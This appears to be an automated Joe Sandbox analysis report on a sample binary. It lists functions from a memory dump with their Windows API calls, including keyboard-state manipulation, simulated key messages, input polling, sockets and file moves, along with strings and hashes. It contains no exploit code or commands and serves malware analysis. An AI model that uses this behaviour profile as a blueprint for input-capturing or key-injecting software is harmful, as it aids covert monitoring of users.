Instruction Fuzzy Hash: 3571B334A0834DAFDB21AF54CC84FFABBB9EF09350F144459EA55972B1CB31A845EB50

Function 00FCAEBA Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00FCAEF9
GetKeyboardState.USER32(?), ref: 00FCAF0E
SetKeyboardState.USER32(?), ref: 00FCAF6F
PostMessageW.USER32(?,00000101,00000010,?), ref: 00FCAF9D
PostMessageW.USER32(?,00000101,00000011,?), ref: 00FCAFBC
PostMessageW.USER32(?,00000101,00000012,?), ref: 00FCAFFD
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00FCB020

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 0178433cfc866a4c7fcc7454799db0207d041ffd3820e960268b7a60e3917c1b
Instruction ID: 8697bc4c69f53319fea991a0ef2f3c0f5c99095ba65ca05ae25bc89bf258ba17
Opcode Fuzzy Hash: 0178433cfc866a4c7fcc7454799db0207d041ffd3820e960268b7a60e3917c1b
Instruction Fuzzy Hash: 3B51C3A0A446DA3DFB3642348D47FBA7EA95B06318F08848DE1D9854C2C3E9AC84E752

Function 00FCACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00FCAD19
GetKeyboardState.USER32(?), ref: 00FCAD2E
SetKeyboardState.USER32(?), ref: 00FCAD8F
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00FCADBB
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00FCADD8
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00FCAE17
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00FCAE38

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: c48587e52a3f95e71bbad0bfb6739f37b8679d19fe23c43cc08f163175572a9c
Instruction ID: ecf1101a801f22cd1d54dee1b4d93aa31cc4f7b12799a95bb34bcc892945079a
Opcode Fuzzy Hash: c48587e52a3f95e71bbad0bfb6739f37b8679d19fe23c43cc08f163175572a9c
Instruction Fuzzy Hash: BF51B4A19047DA3DFB3782258D57FBA7E985B45318F08848CE1D6468C3D294BC98F792

Function 00F9542E Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00FA3CD6,?,?,?,?,?,?,?,?,00F95BA3,?,?,00FA3CD6,?,?), ref: 00F95470
__fassign.LIBCMT ref: 00F954EB
__fassign.LIBCMT ref: 00F95506
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,00FA3CD6,00000005,00000000,00000000), ref: 00F9552C
WriteFile.KERNEL32(?,00FA3CD6,00000000,00F95BA3,00000000,?,?,?,?,?,?,?,?,?,00F95BA3,?), ref: 00F9554B
WriteFile.KERNEL32(?,?,00000001,00F95BA3,00000000,?,?,?,?,?,?,?,?,?,00F95BA3,?), ref: 00F95584

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: f5aba20b06ae88cf2e6545cf1fd9bdc64232b84934320e18f145d901574925a8
Instruction ID: f42813fa8d4a9e44037eff5fdce5038c625f754f55af8ea6a9392a2e889a2aa2
Opcode Fuzzy Hash: f5aba20b06ae88cf2e6545cf1fd9bdc64232b84934320e18f145d901574925a8
Instruction Fuzzy Hash: 1E51D3B1E006099FEF11CFA8D841AEEBBF9EF09710F19411AF555E7292D7309A41DBA0

Function 00F7912D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00F79141
ScreenToClient.USER32(00000000,?), ref: 00F7915E
GetAsyncKeyState.USER32(00000001), ref: 00F79183
GetAsyncKeyState.USER32(00000002), ref: 00F7919D

Strings

InitializeCriticalSectionEx, xrefs: 00FB7152

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID: InitializeCriticalSectionEx
API String ID: 4210589936-3084827643
Opcode ID: 34d8b04417c1d0c6a544f5d765a6a285aab16e7b2f8a0dbab8709218abfdbed6
Instruction ID: e08d810122f05631b2fb075222cecf81b50b2a831ca811ce645b920fb7a32554
Opcode Fuzzy Hash: 34d8b04417c1d0c6a544f5d765a6a285aab16e7b2f8a0dbab8709218abfdbed6
Instruction Fuzzy Hash: 6841727190861ABBDF05AF68C844BFEB774FF45330F208216E429A72A0C7745954EFA1

Function 00F82D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00F82D4B
___except_validate_context_record.LIBVCRUNTIME ref: 00F82D53
_ValidateLocalCookies.LIBCMT ref: 00F82DE1
__IsNonwritableInCurrentImage.LIBCMT ref: 00F82E0C
_ValidateLocalCookies.LIBCMT ref: 00F82E61

Strings

csm, xrefs: 00F82DF6

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 1eeb9b86613c8436772138732a2cdf35ac8f01d3ccf121da3ccd51794fcf4e90
Instruction ID: 65715233fb886b110021011b4b9c0f92db6f4a4dc5d3bdce2fa5c14868e91051
Opcode Fuzzy Hash: 1eeb9b86613c8436772138732a2cdf35ac8f01d3ccf121da3ccd51794fcf4e90
Instruction Fuzzy Hash: 6C419136E00209ABCF50EF68CC85ADEBFB5BF45364F148155E8186B392D735AA05EB90

Function 00FE10B8 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00FE304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00FE307A
Part of subcall function 00FE304E: _wcslen.LIBCMT ref: 00FE309B

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00FE1112
WSAGetLastError.WSOCK32 ref: 00FE1121
WSAGetLastError.WSOCK32 ref: 00FE11C9
closesocket.WSOCK32(00000000), ref: 00FE11F9

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
String ID:
API String ID: 2675159561-0
Opcode ID: 6bd7cada5b33209d84c6e2d192c8d00eec11fa8d44fabd166c8393c2fa284d3a
Instruction ID: 238e318f445ba8423965c670c24e1b5a164d17d0a3fb63e7729ac95f50dad83b
Opcode Fuzzy Hash: 6bd7cada5b33209d84c6e2d192c8d00eec11fa8d44fabd166c8393c2fa284d3a
Instruction Fuzzy Hash: 31411232600258AFDB109F56CC84BAABBEDFF44364F148059F9469B291C778AD41DBE1

Function 00FCCF00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCDDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00FCCF22,?), ref: 00FCDDFD

Part of subcall function 00FCDDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00FCCF22,?), ref: 00FCDE16

lstrcmpiW.KERNEL32(?,?), ref: 00FCCF45
MoveFileW.KERNEL32(?,?), ref: 00FCCF7F
_wcslen.LIBCMT ref: 00FCD005
_wcslen.LIBCMT ref: 00FCD01B
SHFileOperationW.SHELL32(?), ref: 00FCD061

Strings

\*.*, xrefs: 00FCCFF3

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: d081faedbb58483f1ab272ce5d37e72c4492029c4c249121ea10bfba7a8c6861
Instruction ID: b0c2c7235751b1618b5786041328569505b7b6d664a6e32c9129273cec5d344d
Opcode Fuzzy Hash: d081faedbb58483f1ab272ce5d37e72c4492029c4c249121ea10bfba7a8c6861
Instruction Fuzzy Hash: F0413471D452195FDF12EBA4CE82FDDB7B9AF08380F1000EEE509EB141EA74A649EB50

Function 00FF2DFD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00FF2E1C
GetWindowLongW.USER32(?,000000F0), ref: 00FF2E4F
GetWindowLongW.USER32(?,000000F0), ref: 00FF2E84
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00FF2EB6
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00FF2EE0
GetWindowLongW.USER32(?,000000F0), ref: 00FF2EF1
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00FF2F0B

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 1066d79e7b0e369659d096864fe5e2e61f3e761cdd741a501eac4ad6e04ea702
Instruction ID: 069242fd0df45e93dcb85052696dc3de2e78bd02f75fca79f4762fd6e2ef7717
Opcode Fuzzy Hash: 1066d79e7b0e369659d096864fe5e2e61f3e761cdd741a501eac4ad6e04ea702
Instruction Fuzzy Hash: 1B31F231A44258AFEB618F58DD84F6537E9FF9A720F2501A5FA44CF2B1CB71A840EB41

Function 00FC7726 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00FC7769
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00FC778F
SysAllocString.OLEAUT32(00000000), ref: 00FC7792
SysAllocString.OLEAUT32(?), ref: 00FC77B0
SysFreeString.OLEAUT32(?), ref: 00FC77B9
StringFromGUID2.OLE32(?,?,00000028), ref: 00FC77DE
SysAllocString.OLEAUT32(?), ref: 00FC77EC

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 84845aca922dff873948d532c8d1e79b27fcd01176b6ee5b4778ec5b09cc864d
Instruction ID: d8067bcb98437914f587531b1b72d3774b698142c8c9a6d6098abbc4aa642cb2
Opcode Fuzzy Hash: 84845aca922dff873948d532c8d1e79b27fcd01176b6ee5b4778ec5b09cc864d
Instruction Fuzzy Hash: 2A21B276A0421EAFDB10EFA8CD89EBB73ACEF093647008029F914DB150D674DC45EBA4

Function 00FC77FD Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00FC7842
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00FC7868
SysAllocString.OLEAUT32(00000000), ref: 00FC786B
SysAllocString.OLEAUT32 ref: 00FC788C
SysFreeString.OLEAUT32 ref: 00FC7895
StringFromGUID2.OLE32(?,?,00000028), ref: 00FC78AF
SysAllocString.OLEAUT32(?), ref: 00FC78BD

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 7e076b2c895d59a07b263d9c14c01af6a4c41032dfd1332936138e7bd279a8e6
Instruction ID: 817e30fd1cf1da6549acc36176e16e351a51b9d721e9bcb6515910d2a9125c23
Opcode Fuzzy Hash: 7e076b2c895d59a07b263d9c14c01af6a4c41032dfd1332936138e7bd279a8e6
Instruction Fuzzy Hash: 1621A931604219AFDB10AFA8DD89E7A77ECEF083607108125FA15CB1E1D674DC41EB64

Function 00FD04D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00FD04F2
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00FD052E

Strings

nul, xrefs: 00FD0567

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: ef5fd50603728be2f64590a1c0bb41e93ccec55062558a52370cb5557c885efa
Instruction ID: 9bf8200c4dcc5518b816ebd15966266ed9a6cc7bf269a72ec882ad2340bde0ea
Opcode Fuzzy Hash: ef5fd50603728be2f64590a1c0bb41e93ccec55062558a52370cb5557c885efa
Instruction Fuzzy Hash: 64218275900309DBDB209F29EC04B5A77A9AF44734F284A1AFCA1D73E0DB709940EF60

Function 00FD05A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00FD05C6
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00FD0601

Strings

nul, xrefs: 00FD0639

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: e7274ca626b2c197dd22cda0132f427548129048e8a887680785c8870b509c62
Instruction ID: 4f3e706973488609a36aecb2700825ae33aa7d3953c0954951711dd4ba80b75c
Opcode Fuzzy Hash: e7274ca626b2c197dd22cda0132f427548129048e8a887680785c8870b509c62
Instruction Fuzzy Hash: 6D2156759003159BDB209F799C04B5A77E9AF95730F240A1AF8A1D73D0DB70D960EB50

Function 00FF40AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F6600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00F6604C
Part of subcall function 00F6600E: GetStockObject.GDI32(00000011), ref: 00F66060
Part of subcall function 00F6600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 00F6606A

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00FF4112
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00FF411F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00FF412A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00FF4139
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00FF4145

Strings

Msctls_Progress32, xrefs: 00FF40E3

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: f3737dc24067101538461f316d8ba73a9a0d69d2a8ae3bb64e948e3a1869cdf3
Instruction ID: 4b2642c7965bd3eade45cfe6d91d1fae808ca443b585a99f85713b1236cb0be9
Opcode Fuzzy Hash: f3737dc24067101538461f316d8ba73a9a0d69d2a8ae3bb64e948e3a1869cdf3
Instruction Fuzzy Hash: B9118EB214021DBEEF118E64CC85EE77F5DEF087A8F004110BB18A6060CA769C21EBA4

Function 00F9D7DF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00F9D7A3: _free.LIBCMT ref: 00F9D7CC

_free.LIBCMT ref: 00F9D82D

Part of subcall function 00F929C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00F9D7D1,00000000,00000000,00000000,00000000,?,00F9D7F8,00000000,00000007,00000000,?,00F9DBF5,00000000), ref: 00F929DE
Part of subcall function 00F929C8: GetLastError.KERNEL32(00000000,?,00F9D7D1,00000000,00000000,00000000,00000000,?,00F9D7F8,00000000,00000007,00000000,?,00F9DBF5,00000000,00000000), ref: 00F929F0

_free.LIBCMT ref: 00F9D838
_free.LIBCMT ref: 00F9D843
_free.LIBCMT ref: 00F9D897
_free.LIBCMT ref: 00F9D8A2
_free.LIBCMT ref: 00F9D8AD
_free.LIBCMT ref: 00F9D8B8

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction ID: 6b607e9e5b192af5f791aa4c17bb10002197de02a1e6b8fd8192342ed512f881
Opcode Fuzzy Hash: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction Fuzzy Hash: D6111F71540B04BAFEA5FFF0CC47FCB7BEC6F04700F504825B29DA6492DA69B50566A1

Function 00FCDA5A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00FCDA74
LoadStringW.USER32(00000000), ref: 00FCDA7B
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00FCDA91
LoadStringW.USER32(00000000), ref: 00FCDA98
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00FCDADC

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00FCDAB9

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: 15a90699480a24cf3e445e9400ea257b6d235e597a1cfc199009063b44bb9753
Instruction ID: 8647a1d73bdc751ff750e9b145ce208b96b14f87dd00b856724db281967dbeac
Opcode Fuzzy Hash: 15a90699480a24cf3e445e9400ea257b6d235e597a1cfc199009063b44bb9753
Instruction Fuzzy Hash: 5C0167F250421C7FE710A7A09E89EFB726CDB04701F400455B745E2041E6749E849F74

Function 00FD096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(0117DE50,0117DE50), ref: 00FD097B
EnterCriticalSection.KERNEL32(0117DE30,00000000), ref: 00FD098D
TerminateThread.KERNEL32(?,000001F6), ref: 00FD099B
WaitForSingleObject.KERNEL32(?,000003E8), ref: 00FD09A9
CloseHandle.KERNEL32(?), ref: 00FD09B8
InterlockedExchange.KERNEL32(0117DE50,000001F6), ref: 00FD09C8
LeaveCriticalSection.KERNEL32(0117DE30), ref: 00FD09CF

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 80a5d663a13f51ecb903b15eaeac67070a08a6ca3528d03f187bb8c62a11df5c
